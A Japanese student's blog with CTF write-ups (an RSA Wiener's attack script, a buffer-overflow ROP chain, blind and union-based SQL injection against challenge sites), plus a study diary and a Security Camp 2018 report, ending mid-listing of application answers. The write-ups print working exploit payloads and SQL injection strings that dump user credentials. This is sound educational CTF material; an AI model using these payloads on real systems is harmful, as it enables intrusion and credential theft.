Ciruelaの成長日記

将来の初心者の方のために,僕がプロになるまでの過程をここに残しておこうと思います.

picoCTF - Writeup(遅遅の遅)

つらい実験科目によってほとんどフリータイムがない中,picoCTFのWriteupを(今頃)書きました.内容は以下に示す3問のみです.
・Super Safe RSA 2
・A Simple Question
・rop chain

Super Safe RSA 2

公開鍵(e, n)と暗号文cが渡されますが,せいぜい65537程度の大きさであるeの値がべらぼうにでかいので,Wiener's Attackが使えます.いやぁ~,自分で一回実装しといてよかった,と思った一問でした(自分語り).
クソコードをのっけます.こいつは来年の春にでもきれいにできれば,と思っています.

import math

#--------PLEASE SET (e, n)--------
def set_values():
    e = 166469415374069307881604324436342677840204259559951383103458348696214353018185580067127805885715702582826742952855206035850607388392166614056495391290151746650424386583535774622709912504383483742572448337565274948581041550819383283860203664028306185265859707368577879926514232681259612579344391833668817270913
    n = 167818890560996465630467660522759422821311591428711487378116440524593140343836769125663052058639440088766593645612546346278130386295299544461168104275998718733123494540156011937404481135312366524773575109469754297864828333733123922028880567126525579171598321755189056067313592155802703541501512699223753527743
    return e, n
#--------------------------------------

def fix_den(m, num, den):
    return m * den + num, den

def convert_to_a_fraction(cf):
    index = len(cf) - 1
    num = cf[index - 1]
    
    num, den = fix_den(cf[index - 1], 1, cf[index])
    index -= 1
    
    while True:
        if index == 0:
            return num, den
        else:
            num, den = fix_den(cf[index - 1], den, num)
            index -= 1

'''
This function returns
{int(sqrt(num)) ---if num is a square number.
{-1 ---------------if num is not a square number.
'''
def calcSquare(num):

    if num<0:
        return -1

    maximumbase=1

    while maximumbase<=num:
        maximumbase*=10

    answer=0
    success_flag=False

    while maximumbase>=1:
        maximumbase//=2
        square=pow(answer, 2)

        if square==num:
            success_flag=True
            break
        elif square<num:
            answer+=maximumbase
        else:
            answer-=maximumbase
            
    if success_flag:
        return answer
    else:
        return -1



def is_square(num):

    a = 1
    exp = 0
    
    while a < num:
        a *= 4
        exp += 1
    
    answer = pow(2, exp)
    dist = answer // 2
    
    while True:
        
        num_2 = answer * answer
        
        if num_2 == num:
            return True, answer
        elif num_2 < num:
            answer += dist
        else:
            answer -= dist
        
        if dist==0:
            if num_2 > num:
                return False, answer
            else:
                return False, answer+1
        
        dist //= 2




def main():
    e, n = set_values();
    
    success_flag=False

    cf=[]
    k=e
    d=n
    cf.append(e//n)
    
    while True:
        tmp=d
        d=k%d
        k=tmp
        
        cf.append(k//d)
        
        num, den = convert_to_a_fraction(cf)

        if (e * den - 1)%num==0:
            
            phaiN=(e*den - 1)//num
            b=n-phaiN+1
            c=n
            
            #sqrt(b^2-4ac)
            rt2 = pow(b, 2) - 4 * c
            flag, rt = is_square(rt2)
            if rt2 > 0 and flag == True:
                
                #解p,qは整数か
                if b % 2 == rt % 2:
                    p=(b + rt) // 2
                    q=(b - rt) // 2
                    
                    print("p=")
                    print(p)
                    print("q=")
                    print(q)
                    success_flag = True
                    break

        if num == e and den == n:
            break

    if success_flag == False:
        print("failed...")

if __name__ == "__main__":
    main()

この結果,pとqは以下のように求まります.

p=
13187791611843376794443813417505164905719902975940204994951353780300053316986286058129548697178236289057253045681561721903633315886536681830716299905580769
q=
12725321683903898367448235894643841040653555869947621697905115020959136660923216347010267828363037006731940776069218036492902863509365802709092550777996447

これにより復号を行うと,平文mは16進数で,

7069636f4354467b77407463685f793075725f5870306e336e74245f6340723366753131795f303532353436357d

となり,これをASCIIコードに直すと,
picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_0525465}
となります.

A Simple Question (650pt)

650ptだがサービスなSQLiの問題.フォームに何かを入力するとそれに応じて"You are so close."あるいは"Wrong."のYes/No的な返答が返ってくるのでBoolean-based blind SQLiを疑います.ご丁寧にも「SELECT * FROM answers WHERE answer='(フォームに打ち込んだ文字列)'」がクエリになっていることが示されているので,たとえば次のような文字列を入力すると,answerの2文字目のASCIIコード値が文字XのASCIIコード値より大きいかについて調べられます.
「' or SUBSTR(answer,2)>'X';--」
したがって,これとASCIIコード表を併用すれば,n文字目の文字が何であるか,二分探索により調べることができます.僕にはコーディング能力がないので,手動でこれを何回も行いました.疲れました.もしかしたら,pythonでクエリを送ってレスポンスから自動的に二分探索していく,ということができたかもしれません.
上記の入力をしているうちに,x文字目がすべての印字可能な文字のASCIIコードよりも小さくなります.それが文字列answerの終端です.
結果,answerの正体は,文字列"41AndSixSixths"でした.これを直接フォームに入力すると,フラグが得られます.
f:id:verliezer93764:20181026062100j:plain

rop chain

次のようなプログラムが渡されます.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else if (win1) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else if (win1 && win2) {
    printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
  }
  else if (win1 || win2) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

この問題を解くには,次の手順が必要です.
1.vulnでBOFを起こす
2.サブルーチンwin_function1に入ってwin1をtrueにする
3.引数に0xBAAAAAADを指定しながら,サブルーチンwin_function2に入ってwin2をtrueにする
4.引数に0xDEADBAADを指定しながら,サブルーチンflagに入ってフラグを表示させる

まず,win_function1の先頭アドレスは0x080485cbなので,1と2を行うためには,bofを以下のように実行して,バッファを埋めてリターンアドレスをwin_function1の先頭アドレス0x080485cbに書き換えます.(実行はまだしないでください)

python -c 'print("A"*28+"\xcb\x85\x04\x08")' | ./rop

次に,3を起こすことを考えます.まずは,サブルーチンwin_function1からret命令により移動するリターンアドレスをwin_function2の先頭アドレス0x080485d8に書き換えます.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08")' | ./rop

また,今回は引数として0xBAAAAAADを与える必要があります.そこで,引数はどのアドレスに入るかをIDAから見ることにします.次の図が,IDA上でみたwin_function2の一部です.
f:id:verliezer93764:20181026192543j:plain
これを見ると,$esp+8というアドレス以降に格納されている値と0xBAAAAAADを比較し,等しければwin1が1すなわちtrueになることがわかります.ebpにespを代入している時点で,espの値(指しているアドレス)は"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"のうち"\xd8"のアドレスになります.したがって,これから8大きいアドレスに0xBAAAAAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba")' | ./rop

最後に,4を起こすことを考えます.まずは,サブルーチンwin_function2からret命令により移動するリターンアドレスをflagの先頭アドレス0x0804862Bに書き換えます.ret命令でpopされてeipに入るのは"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba"のうち"A"*4の部分なので,ここを"\x2b\x86\x04\x08"にします.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba")' | ./rop

また,今回は引数として0xDEADBAADを与える必要があります.しかし,先ほどと同様に,"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"の"\x2b"が入るアドレスより8大きいアドレスに0xDEADBAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

したがって,問題サーバ上で

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

を打ち込めば,フラグを表示してくれます.
f:id:verliezer93764:20181026183205j:plain

CyberRebeatCTF 少しだけwrite-up

おそらくすでに超サイヤ人の方々が色々書かれていらっしゃるので,私は2問だけwrite-upを書きます...
レベル自体は自分にとって難しすぎることなく,楽しかったです!

SimpleBinary

64bitELFで,実行しても何も起こりません.ということで,IDAを使います.まず目を引くのは,26バイトの領域に即値を入れており,その26という長さもある領域に書き込んでいるということです.そしてその後,esiにバイト数の26(=0x1B),rdiに26バイトの最初のアドレスを格納し,sub_400546に渡します.
f:id:verliezer93764:20180909190907j:plain
sub_400546では,さらにvar_70からvar_Cまでの26バイトにかけて即値を代入しています.そして,その後は26回のループに入ります.したがって,このループではmainで定義した,あるいはsub_400546で定義した26バイトのバイト列について1バイトずつ何かしらの操作を行っていくと考えました.
f:id:verliezer93764:20180909191351j:plain
f:id:verliezer93764:20180909191608j:plain
あとはループの中でどのような操作が行われているか考えます.けっこう時間がかかってしまい,コメントでぐっちゃぐちゃになってしまいましたが,落ち着いて一行ずつ読んでいったところ,ここでは以下のpythonスクリプトと同様なことを行っていることがわかりました.Cで書いたほうが正確にできたなあ,と反省しています.なお,ループの最後でrdxの指すアドレスに操作結果の値を代入しているため,これが答えにつながると考え,表示を行っています.

import sys

input_26_chars =   [0x7B,0x69,0x43,0x43,0x20,0x2E,0x73,0x69,
                    0x74,0x68,0x20,0x74,0x27,0x75,0x20,0x46,
                    0x6E,0x7D,0x64,0x49,0x6D,0x54,0x67,0x61,
                    0x52,0x68]

plus_26_data = [0x03,0x0B,0x00,0x16,0x0F,0x16,0x13,0x0C,
                0x07,0x0B,0x0E,0x17,0x0F,0x17,0x01,0x14,
                0x14,0x01,0x11,0x14,0x09,0x03,0x01,0x0E,
                0x01,0x16]

for i in range(26):
    data1 = input_26_chars[i]
    tmp_char = data1

    data2 = plus_26_data[i]
    data3 = input_26_chars[data2]

    input_26_chars[i] = data3

    data4 = plus_26_data[i]
    input_26_chars[data4] = tmp_char

for i in range(26):
    sys.stdout.write("%s" % chr(input_26_chars[i]))

実行結果:CRCTF{It's a humid night.}

Uploader

まーたアップロードサイトの脆弱性を突く問題か…と思ったらSQLiの問題.
まずは定番,シングルクォーテーションマークをフォームにぶち込んでいく.するとFilename: のところでエラーが出ます.入力したfilenameをsql文で問い合わせている,といったところでしょう.
f:id:verliezer93764:20180909190716j:plain
というわけで,みんな大好き「' or '1'='1';--」を打ち込みます.すると,先ほど見えなかったユーザ"harada"によるzipファイル"secret.zip"が現れます.
f:id:verliezer93764:20180909222635j:plain
早速ダウンロードし,中にflag.txtがあることが確認されましたが,解凍するにはパスワードが必要です.そこで,サイトから更なる情報を求めます.具体的には,UserIDとPasswordを入れて,ログインするためのボタンがあるので,"harada"のIDとPassを取得し,"harada"のアカウントでログインすることを目指します.先ほどのエラー表示からsqlite3を使っていることが判明したので,googleでsqlite3のsqliについて調べます.しいて言えば,チートシートを調べます.
下記がいいでしょう.
github.com
まずは使用されているテーブルの名称がわからないと何もできないので,上の情報から「SELECT name FROM sqlite_master WHERE type='table'」または「SELECT sql FROM sqlite_master WHERE type='table'」を用いて,Union-based SQLiを行います.ちなみに,後者を行うとカラムの名称までわかるので,後者を使用します.ちなみに,今回の表ではカラムはID,FileName,Published,UploadUserの4つであることに注意し,「' union SELECT sql,1,1,1 FROM sqlite_master WHERE type='table';--」などと入力します.以下のような結果が返ってきます.
f:id:verliezer93764:20180909224947j:plain
したがって,最後に「' union select userid,password,1,1 from Users;--」を打ち込めばuserIDとPasswordがわかります.
f:id:verliezer93764:20180909225456j:plain
useridに"harada",Passwordに"seishin0129"を打ち込むと次のページが表示されます.
f:id:verliezer93764:20180909225716j:plain
この"554587c5adc54a2a2e6f"によってsecret.zipを解凍できます.
f:id:verliezer93764:20180909230130j:plain
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}

2018年8月の進捗

8/23(thu.)
Python連立方程式計算機制作開始
ガウス消去法実装終了

8/24(fri.)
Python連立方程式計算機(一応PyseqSolverと呼んだ)で,係数行列の行列交換を実装.しかし解のない連立方程式を(例えばx+y+z=1,x+y+z=3)放り込むとある関数でゼロ徐算エラーになる.
・PySeqSolverの変数の方が方程式の個数より多い場合,一部を任意定数と置く機能を実装
・以前制作したC版SeqSolverと機能は同等になる
画像はx+2y=3,4x+5y=6を放り込んだ場合の実行結果です.
f:id:verliezer93764:20180825001354j:plain
・今後は行列交換の修正と色んなケースでテストをします.

8/25(sat.)
・PySeqSolver仮完成
f:id:verliezer93764:20180825233659p:plain
・「これ1冊でできる!ラズベリー・パイ超入門」購入

8/26(sun.)
Cpawctf2のネットワーク300問題に挑戦。足がかりはつかめた?

8/27(mon.)
あやしいホストを探したりしたが,結局解けず.

8/28
ない、やばい

8/29
ハリネズミ本ネットワーク問題1

8/30
なし

8/31
・パケット解析ツール制作に着手(仮名:pacanalyzer)
・pcapヘッダ解析終了,pcap-packetデータの読み取り機能が完成

進捗日記について

本日(2018/08/23)から毎日僕の進捗を載せていきます.目的は2つあります.

・勉強に集中するように自制するため

・初心者である自分がプロになるまでの道を残し,後世の初心者の参考になってほしいから

決して毎日大きい進捗を出せるとは思いませんが,心機一転がんばっていきます.

セキュリティキャンプ2018参加日記

[!]Warning:
講義内容等の流出の制限がありますので,公式から得られる情報以上の講義情報(とくに技術情報)は記述しません.ご了承ください.

キャン当日まで

・事前課題
僕は,次の講義を受講しました.
A1~3「インシデントレスポンスで攻撃者を追いかけろ」
A4「IN-DEPTH STATIC MALWARE ANALYSIS」
E5「Linuxカーネル脆弱性入門 」
D6「組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~」
E7「シリアル通信から学ぶBadUSB自作演習 」
いわゆる低レイヤや組み込み系に触れるのは初めてでしたが,とても興味があったので受講しました.
これらのうち,A1~3とA4とD6には事前課題がありました.どれも講義をスムーズに受けるためには重要だったので,大学ではテスト勉強で非常に忙しい時期だと思いますが,早めにやっておくことを強くお勧めします.(GPAをそれまでに稼いでおくとよい?)

・名刺
何をかけばよいのかわからず,総計2日ほどかかってしまいました.Twitterアイコンや,所属を書いておけば十分な気はしましたね.もちろんTwitterをやっておくとアイコン等であの人だと識別したりして便利ですが,気さくな方だったりするとTwitterアカウントをお持ちでなくとも覚えることができたりするので,このためだけにアカウントを作る必要もないかなと思います.
f:id:verliezer93764:20180808103239j:plain

1日目

・xwaveまでの道で迷わないようにご注意ください!
最寄りの北府中駅で降りましたが,本物の府中刑務所方面へ行ったり駅からの出口を間違えたりしたので,スマホGPSをONにしておくといいです.ビル群のある方へ向かってください.

・暑い
当日はクソ暑かったです.タオルを忘れないでください!!受付時間より早く到着したので,近くのケーズで涼みました.

・受付~昼食
受付開始時間の10分後あたりには受付に長蛇の列ができます.そのうちに近くの方と名刺交換をしたほうがいいです.受付を済ませると,昼食タイムです.昼食は緊張した感じでしたが,チューターの方が話題づくりをしてくださったおかげで打ち解けました.同じテーブルの方と名刺交換をしました.また,偶然Aトラックのプロデューサーの方と同席していたので,けっこう会話しました.
f:id:verliezer93764:20180814122922j:plain

・名刺交換タイム?
参加者同士の名刺交換のための時間は設けられていませんが,昼食を食べてから大講習室でおこなわれる開会式までは1時間ほどあり,日程を通してあまり関わらなさそうな参加者の方とも名刺交換や会話ができます.この時間は積極的に交流したほうがいいです!!

・開会式
えらい方々からのお話を聞きます.ところで開始早々貸与パソコンや,色んな企業さんのグッズ,講義用資料が机の上に置いてあり,持って帰らなければならないので,荷物がオーバーフローします.なるべく空きのあるリュックサックを持ってきましょう!!

・全体講義「セキュリティ基礎」
自分があまり考えたことのない面を深堀りした講義で,またグループで考察したりしました.周囲の方の発想が面白く,楽しめました!

・特別講演(1)「自由なエンジニアとは何か ~OSCを全国各地で150回以上やって分かったこと~」
OSCなどの運営や,運営しているときに感じたことについての講義でした.行動力や,運営にあたって生ずる課題やそれに対してどうするか考えていく姿勢を見習いたいなと思いました.

・特別講演(2)「ハッカーは法律を破るのか」
セーフなのかアウトなのか,微妙に感じられる事例がいくつか提示され,考察したりしました.独房に入るくらいなら死んだほうがましなので今後の勉強方法には厳重に注意していきたいです!!!

・夕食
夕食後にスイーツ会みたいなのがあり,初日にもかかわらずみんな楽しく交流しました!
f:id:verliezer93764:20180814182111j:plain

・LT会
自分にとっては難しい話が多く,強い人ってこんなことしてるんだなあ…と力の差を感じました.僕もあんなに打ち込めるようなことを探そうと思います.

・グループワーク
今までの参加者の方の参加記をみておびえていたのですが,今年は各自がキャンプ後にどのようなことをしていくか具体的に考えて最終日に提出するという形であり,徹夜の心配はなくなりました.また後半ではチュータや講師の方々と交流し,名刺交換をしたり,悩みを相談したりしました.

・部屋に帰る
部屋の中はこんな感じです(ただしこれは最終日の朝に撮影).カーテンを閉めるとちょっと暗いです.ところで,バスタオルはユニットバスの部屋の天井に近いところに置かれているので注意してください.20分くらい探しました.
f:id:verliezer93764:20180818080021j:plain
テレビでDBZのアルティメット悟飯対悪ブウの回をやっていたので少し見て,寝たのは24時すぎです.
一応夜景です.
f:id:verliezer93764:20180815225959j:plain

2日目

・起床&朝食
毎朝5時40分くらいに起き,6時40分くらいに朝食を食べました.バイキング形式で,最終日までメニューはほとんど同じです.温泉卵の卵かけご飯を毎日たべました.うまかったです.また,この日から毎日ある参加者の方と一緒に朝食を食べました.
f:id:verliezer93764:20180815064845j:plain

・A1~3「インシデントレスポンスで攻撃者を追いかけろ」
7週間にわたる事前課題で当日必要となる解析技術を学び,当日はある企業のPC・ネットワークに攻撃が入ったとの想定のもと,そのおよそ1か月分のデータが入った各PCのディスクイメージデータが渡され,CTF形式によって,インシデントレスポンスの手順にのっとりながら問題を解いていきました.事前課題をけっこうやってきましたが,いざディスクイメージだけを渡されるとまず何をすればよいか,どのツールを用いればよいか,どこにどんなデータが入っているかで迷いました.休憩をはさみながらA1A2でCTFが行われ,夕食後のA3には解説が行われ,それまでの結果を用いてどのような対策をとればこのインシデントは防げたのか検討しました.解説を聞いていると,答えを探す方法が事前学習のまんまであったり,また調査結果が他の解析結果にリンクしていたことがわかったりと,実際の業務にあたるにはもっともっと経験が必要だなと痛感したので,これから復習していきたいなと思いました.けっこう落ち込みました…

3日目

・朝食
この日から朝食待ち勢になり,6:25頃にレストランに着くようにしました.人間の睡眠の深浅のサイクルは90分というので,4日目~最終日を除いておよそ4時間半睡眠をしています.

・A4「IN-DEPTH STATIC MALWARE ANALYSIS」
事前課題では実質的にマルウェアのすべてを解析できるという静的解析を始めるための基礎や効率的にコードを読む方法を学習し,本番ではマルウェアの逆アセンブルコードを効率的に読んでみてその機能を明らかにしたり,静的解析の持つ課題を学びました.また,静的解析にかかわらず解析をする際の注意点や,マルウェアのトレンドなどについても学びました.僕は今まで大きいプログラムの逆アセンブルコードを読むことができなかったので,素早く読めるようになったときはかなり感動しました.そして今まで読んできたコードは簡単なもので,実際のマルウェアに使用されているコードに凝らされている工夫を学習したときは実力的に大きい壁を感じました.ところでin-depthは「徹底的な(に)」といった意味合いらしいです.

・E5「Linuxカーネル脆弱性入門」
カーネルについてほぼ何も知らない状態で受講しましたが,講義はカーネルとは何かというところから始まったので無理なく受講できました.カーネルソースコードを少し見たり,機能と仕組みが解説されたのち,脆弱性の紹介やそれを突くことを体験しました.後半は自分の理解が追い付かなかったのですが,講義後になってしまったもののなんとか実際に脆弱性を突くことに成功したので,これからも少しずつ触れていきたいなと思いました!

・会員企業のお仕事紹介(1回目)
3,4日目にはセキュリティキャンプを支えてくださる企業の方々による30分*2回*2日の「お仕事紹介」がありました.仕事ではどんなことをしているのか,やりがいは何か,子会社の場合は親会社との関係を聞けたりして新鮮でした.

・グループワーク(2回目)
チュータ,講師の方と交流しました.今まで話したことのなかったインフラ屋の方々ともお話させていただきましたが,どの方も使命感や不安からというよりは楽しかったからその方の分野の勉強をしているという方が多く,特にGMの上野さんはとても楽しそうで,自分もそうなりたいなと強く思いました.

・ホームルーム(1回目)
同じトラックのメンバーと交流を深めるために今年からできた時間らしく,控えめに言って神様な時間でした!!グループワーク終了後にトラック別に部屋に集まり,おのおののことをします.Aトラックでは今回は自己紹介と,名刺交換を含めた参加者やチュータの方々そして講師の方々と交流をしました.僕はA1~3で思ったような成果がでなくて悲しかったり,僕はこのまま就職までに平和に貢献できる実力が身につくのかととても不安なことがあったりしたので相談しましたが,講師の方々も若い時からずっとセキュリティについて学んでいたわけではなかったり,職を転々としていて今に行きついているようなこともあり,人生って予想以上になんだかなるものなんだなと感じました.また,インシデントレスポンスの一連の業務をどう勉強するかも教えていただきました.

4日目

・D6「組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~」
組込みシステムについて触れるのは初めてでしたが,無理なく受講できました.事前課題ではオープンソースの組み込み向けリアルタイムOSなどを搭載する機器をサンプルコードによって動かしたり,組み込み機器の基礎や動作のしくみを解説する資料を読んだりしました(僕にとっては初めての知識が多く読み終わりませんでした).こちらの操作通りに動いてくれたときはうれしかったです!
当日は,リアルタイムOS等について復習を行った後,7分*2回の競技会を行いました.内容は,まずいくつかのグループにわかれ,自分のグループの機器をWebブラウザから操作し,決められた目的を達成します.または,相手の機器(やネットワーク全体)を攻撃し,相手が目的を達成できないように妨害します.僕のチームは,ソースコードのビルドの時にソースの変更内容が反映されないという某の不具合のためにあえなく撃沈して悲しい思いをしました.開始数秒でほとんどのチームの機器が動かない状態になり,攻撃の恐ろしさを感じました!!
この講義が終わるまでに組み込み機器の動作のしくみやプログラミングについて体験できたのはほんの一部だと思うので,機器を買って今後も続けていきたいなと思います!!

・E7「シリアル通信から学ぶBadUSB自作演習」
USBポートに刺すだけでキーボードの入力を行わせるというBadUSBを組み立てる講義です.はんだ付け以外は自分でできるものでした.BadUSBが完成したのち,参加者それぞれが自分のコードをBadUSBに書き込み,最後に発表会をしました.僕はある攻撃を行うものを作りましたが,Windowsをシャットダウンして場合によってはWindowsUpdateをさせるBadUSBや,逆にGoodなことをするBadUSBを作った方がいたりと,ここでも参加者の方々の発想はいいなと思いました.

・夕食
最後の夕食は決まっており,なかなか豪華だったかなと思います(ところでなぜ油も敷いてないところで焼き肉をさせたのだろうか).隣の方がジュニアの方で,お話させていただくと僕なんかよりずっとしっかりしてる!とおもいました.
f:id:verliezer93764:20180817175814j:plain

・グループワーク(3回目)
具体的に何をしていくかがまとまってきて,それについてどうかをチュータ,講師,会員企業の方々に相談しました.お仕事紹介のときには受けなかったある企業の方にメールでの相談やインターンに誘われたりと優しくさせていただいたので,後程連絡させていただきます!m(__)m

・グッズ争奪戦
毎年恒例の,協賛の企業などによる本やグッズ等の配布がありました.かなり目の前でサイン入り熱血本が取られてしまい悔しかったですが,GMの上野さんの本をいただき,その場でサインをいただきました.また,その際には激励のことばをかけてくださり本当にありがたかったです!パラパラ読んでみましたがかなり実務で役立ちそうなことが書いてあり,よかったと思いました.
f:id:verliezer93764:20180820121657j:plain
撮り忘れましたがさくらインターネットさんのチケットも含まれています.

・集まり
ある方がTwitter上でCTFなどをするコミュニティを作るので○○に来てほしいと発信されていたので,そこに行きました.最終的には二十人ほど集まり,まずはその方針を決めましたがその話はすぐに終わり,雑談タイムになりました.この雑談タイムが(まさに)時間がたつのを忘れるような楽しさでした.これをもっとはやくやりたかった,,と心の底から思いました.寝たのは2時ごろで,荷物をまとめたり,貸与PCから自分のPCに(移してもよい)データを写していました.そのためにUSBケーブルなどをキャンプに持参するといいですね!

最終日

・朝食
3時間睡眠で起きられました.普段は6:30から朝食を食べる勢力は10名ほどなんですが,この日は6名ほどでした.毎日朝食をともに食べた方とはこれでさらばか…と少し寂しくなりました.それからは部屋の整理と,上にあげたような部屋の撮影をしました.

・チェックアウト
8:00から8:20までにチェックアウトをします.あまり時間がないので荷物の整理は前日までにしたほうがいいです.

・グループワーク(最終日)
1時間ほどで,これからやっていくことを書きました.僕は今は何をやっているとかない(それを見つけるのがここに来た目的だったりする)ので他の方と比べ曖昧かなとは思いましたが,思っていることを書きました.

・昼食
これで最後か,と寂しい思いでした.特に前日の雑談がとても楽しく..昼食が終わったあと,ある方とエレベーターで止まらずに10階から1階あで降りられるかチャレンジをしたり,エレベーターのアルゴリズムを考えたりしました.
f:id:verliezer93764:20180818114633j:plain

・閉会式
各トラック代表者の方々が修了証と激励状を受け取ったり,色んな方からのお話があったのち,参加者全員に修了証と激励状が配られました.ああもう終わってしまうのか,と思いました.
f:id:verliezer93764:20180819092025j:plain

・帰り
仲が良かった方と別れたときは寂しかったですが,SECCONで会おうと(私が勝手に)約束しました.

おまけ

下の画像は初日に配られたデスクファンさんです.体積が大きいしうるさいしで扱いに苦労しました…
f:id:verliezer93764:20180819163412j:plain

最後に

セキュリティキャンプを通して,残念ながら他の方々のように何年も通じて具体的にすることは決めることができませんでした.しかしこのキャンプで最も心に残ったのは,みんな純粋に好きなことをしてプロになっているということと,人生はこれからなんとかなるということです.今後はとりあえず支援士試験と情報工学実験をひねりつぶし,全てのCTFのWrite-upを見たり,libcを読んだり,Linuxカーネルのソースを読んだり,組み込み機器で遊んだり,Micro Hardeningにも参加したいなと思います.あ,もちろん機械学習も頑張っていきます!また,4日目に作ったコミュニティでは今後も交流を続け,高めあっていきたいと思いました!
キャンプにはバグで参加することになってしまいましたが,結果的にはものすごい刺激を受けることができとてもよかったです!!

セキュリティキャンプ2018応募課題晒し

まえがき

セキュリティキャンプ全国2018の選考を通過したので,応募課題を晒そうと思います.一応注記しておきますが,私はプログラミングは大学に入ってから学び始め,低レベル開発経験などもゼロ.セキュリティ関係を学び始めたのは去年12月で,プロでもなんでもありません.そんなことはどうでもよく,今回は”プロじゃなくても受かる可能性はある”とのメッセージを込めて,恥ずかしながら応募課題を晒すことにしました.
応募したきっかけは,今年度が始まり,B2ながら大学の研究室にお邪魔させていただいたときの先輩方(プロ)のお言葉です.僕も(おそらく例に違わず)応募課題の問題の難易度や,晒された応募課題の質と量に圧倒され,当初は来年受けるつもりでいました.しかし,先輩方は「まあ受けてみなよ」「受かるでしょ」と背中を押してくださいました.応募課題に受かることはスタートラインでしかないのですが,感謝してもしきれません!m(_ _)m

選択したトラックについて

トラックA(脆弱性マルウェア解析トラック)を選択しました.なぜなら僕にとってはこの応募課題が一番易しい(あくまで比較的に)と思ったからです.具体的には,他のトラックの課題は「~の課題を述べよ」のように抽象的であり,ある程度経験がないと論述は厳しいと思った一方,トラックAの問題は割りと具体的で,経験は要求されず,書きやすく感じました.

課題晒しにあたって

原文はやや個人情報を含んでいるので,そのような部分は[---REDUCTED---]と書いています.また,かなり支離滅裂な部分があると思います.ご容赦ください!

まずは問題を

#脆弱性・マルウェア解析トラック
設問ひとつあたり4,096文字以内で答えてください。
また正解がある設問については、"正解しているかどうか"より
"正解にたどり着くまでのプロセスや熱意"を重要視しています。
答えにたどり着くまでの試行錯誤や自分なりの工夫等を書いて、精一杯アピールしてください。

##問1
あなたが今まで作ってきたソフトウェアにはどのようなものがありますか?
また、それらはどんな言語やライブラリを使って作ったのか、
どこにこだわって作ったのか、たくさん自慢してください。

##問2
今までに解析したことのあるソフトウェアやハードウェアにはどのようなものがありますか?また、その解析目的や解析方法、工夫した点があればそれらも教えてください。

##問3
Twitterアカウント、Github、ブログ、公開している資料等がありましたら、URL等を記載してください。

##問4
あなたが今年のセキュリティ・キャンプで受講したいと思っている講義は何ですか?(複数可)
またそれらを受講したい理由を教えてください。

##問5
自分が最も技術的に興味を持った脆弱性をひとつ挙げ、技術的詳細(脆弱性の原因、攻略方法、対策方法など)
について分かったことや思ったこと、調査の過程で工夫したこと等を報告してください。
その際、書籍やウェブサイトを調べて分かったことはその情報源を明記し、
自分が独自に気付いたことや思ったことはそれと分かる形で報告してください。
また脆弱性の攻略方法を試す際は、他者に迷惑を掛けないように万全の措置をとってください。

##問6
以下にDebian 8.10(amd64)上で動作するプログラムchal00のmain関数の逆アセンブル結果があります
("objdump -d chal00"の出力結果のうち、main関数の箇所を抜粋しました)。
このプログラムは、コマンドライン引数としてある特定の文字列を指定されたときのみ実行結果が0となり、
それ以外の場合は実行結果が1となります。
この実行結果が0となる特定の文字列を探し、その文字列を得るまでに考えたことや試したこと、
使ったツール、抱いた感想等について詳細に報告してください。
```
00000000004003c0 <main>:
  4003c0:       48 b8 0f 0e 0d 0b 00    movabs $0xc0601000b0d0e0f,%rax
  4003c7:       01 06 0c
  4003ca:       83 ff 02                cmp    $0x2,%edi
  4003cd:       48 89 44 24 f0          mov    %rax,-0x10(%rsp)
  4003d2:       48 b8 04 05 08 0a 02    movabs $0x70903020a080504,%rax
  4003d9:       03 09 07
  4003dc:       48 89 44 24 f8          mov    %rax,-0x8(%rsp)
  4003e1:       b8 01 00 00 00          mov    $0x1,%eax
  4003e6:       75 59                   jne    400441 <main+0x81>
  4003e8:       48 8b 56 08             mov    0x8(%rsi),%rdx
  4003ec:       31 c0                   xor    %eax,%eax
  4003ee:       89 c1                   mov    %eax,%ecx
  4003f0:       48 ff c0                inc    %rax
  4003f3:       80 7c 02 ff 00          cmpb   $0x0,-0x1(%rdx,%rax,1)
  4003f8:       75 f4                   jne    4003ee <main+0x2e>
